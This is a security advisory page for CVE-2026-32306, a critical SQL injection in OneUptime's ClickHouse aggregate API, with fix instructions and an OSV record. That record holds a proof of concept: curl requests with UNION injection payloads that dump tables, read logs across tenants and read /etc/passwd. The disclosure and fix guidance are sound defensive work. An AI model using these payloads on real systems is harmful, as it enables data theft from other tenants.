CVE-2026-32306: Oneuptime SQL Injection Vulnerability
CRITICALCVE-2026-32306 is a CRITICAL (CVSS 9.9) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Oneuptime libraries in the npm ecosystem. The issue involves oneuptime clickhouse sql injection via aggregate query parameters. Remediation is available by upgrading affected packages to version 10.0.23.
CVE-2026-32306 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-32306
To remediate this vulnerability, upgrade all affected Oneuptime dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install oneuptime@10.0.23
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls oneuptime
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-32306, inspect your project dependencies using npm:
npm ls oneuptime
Analyze the terminal output to locate any version of Oneuptime in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.0.23), your application is affected.
Note: The npm ls oneuptime command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Oneuptime, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32306 Affected Oneuptime Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
oneuptime
|
npm |
< 10.0.23
|
10.0.23
|
References
Frequently Asked Questions
What is CVE-2026-32306?
Which Oneuptime versions are affected?
What version fixes CVE-2026-32306?
Is oneuptime affected?
What is the CVSS score of CVE-2026-32306?
What CWE is associated with CVE-2026-32306?
How can I check npm dependencies for CVE-2026-32306?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p5g2-jm85-8g35",
"modified" : "2026-03-16T17:06:56Z",
"published" : "2026-03-13T20:00:34Z",
"aliases" : [ "CVE-2026-32306" ],
"summary" : " OneUptime ClickHouse SQL Injection via Aggregate Query Parameters",
"details" : "### Summary\n\nThe telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as \"trusted SQL\"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.\n\n### Details\n\n**Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**\n\nThe `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:\n\n```typescript\n// BaseAnalyticsAPI.ts:292-296\nconst aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(\n req.body[\"aggregateBy\"]\n) as AggregateBy<TBaseModel>;\n```\n\nNo schema validation is applied to `aggregateBy`. The object flows directly to the database service.\n\n**No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**\n\n```typescript\n// AnalyticsDatabaseService.ts:276-278\nif (aggregateBy.aggregationType) {\n // Only truthiness check — no allowlist\n}\n```\n\nThe `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).\n\n**Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**\n\n```typescript\n// StatementGenerator.ts:527\nstatement.append(\n `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n);\n```\n\nThe `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:\n\n```typescript\n// Statement.ts:149-151\npublic append(text: string): Statement {\n this.query += text; // Raw concatenation — \"trusted SQL\"\n return this;\n}\n```\n\nSimilarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:\n\n```typescript\nstatement.append(\n `toStartOfInterval(${aggregationTimestampColumnName}, ...)`\n);\n```\n\n**Attack flow:**\n1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)\n2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload\n3. Payload passes truthiness check at line 276\n4. Payload is concatenated into SQL via `.append()` at line 527\n5. ClickHouse executes the injected SQL\n\n### PoC\n\n```bash\n# Step 1: Authenticate and get session token\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n -H 'Content-Type: application/json' \\\n -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n | jq -r '.token')\n\n# Step 2: Extract data from ClickHouse system tables via UNION injection\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -H 'tenantid: PROJECT_ID' \\\n -d '{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\\''oneuptime'\\'' --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }'\n\n# Step 3: Read telemetry data across all tenants\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -H 'tenantid: PROJECT_ID' \\\n -d '{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }'\n\n# Step 4: Read files via ClickHouse table functions (if enabled)\ncurl -s -X POST 'https://TARGET/api/log/aggregate' \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -H 'tenantid: PROJECT_ID' \\\n -d '{\n \"aggregateBy\": {\n \"aggregationType\": \"COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\\''/etc/passwd'\\'') --\",\n \"aggregateColumnName\": \"serviceId\",\n \"aggregationTimestampColumnName\": \"createdAt\"\n },\n \"query\": {}\n }'\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. No allowlist for aggregationType:\ngrep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5\n# Line 276: if (aggregateBy.aggregationType) { — truthiness only\n\n# 2. Raw SQL concatenation:\ngrep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts\n# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`\n\n# 3. .append() is raw concatenation:\ngrep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts\n# this.query += text; — \"trusted SQL\"\n\n# 4. No validation at API layer:\ngrep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\\|sanitize\\|allowlist'\n# 0\n```\n\n### Impact\n\n**Full ClickHouse database compromise.** An authenticated user (any role) can:\n\n1. **Cross-tenant data theft** — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own\n2. **Data manipulation** — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users\n3. **Server-side file read** — Via ClickHouse's `file()` table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem\n4. **Remote code execution** — Via ClickHouse's `url()` table function, make HTTP requests from the server (SSRF), or via `executable()` table function, execute OS commands\n5. **Credential theft** — ClickHouse default configuration (`default` user, password from env) could be leveraged to connect directly\n\nThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.\n\n### Proposed Fix\n\n```typescript\n// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:\nconst ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];\n\nif (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {\n throw new BadRequestException(\n `Invalid aggregationType: ${aggregateBy.aggregationType}. ` +\n `Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`\n );\n}\n\n// 2. Validate aggregateColumnName against the model's known columns:\nconst modelColumns = model.getColumnNames(); // or similar accessor\nif (!modelColumns.includes(aggregateBy.aggregateColumnName)) {\n throw new BadRequestException(\n `Invalid column: ${aggregateBy.aggregateColumnName}`\n );\n}\n\n// 3. Same for aggregationTimestampColumnName:\nif (aggregateBy.aggregationTimestampColumnName &&\n !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {\n throw new BadRequestException(\n `Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`\n );\n}\n\n// 4. Use parameterized queries where possible:\nstatement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);\nstatement.addParameter('aggregationType', aggregateBy.aggregationType);\nstatement.addParameter('columnName', aggregateBy.aggregateColumnName);\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "oneuptime"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "10.0.23"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p5g2-jm85-8g35"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32306"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OneUptime/oneuptime"
}, {
"type" : "WEB",
"url" : "https://github.com/OneUptime/oneuptime/releases/tag/10.0.23"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-13T20:00:34Z",
"nvd_published_at" : "2026-03-13T19:54:42Z"
}
}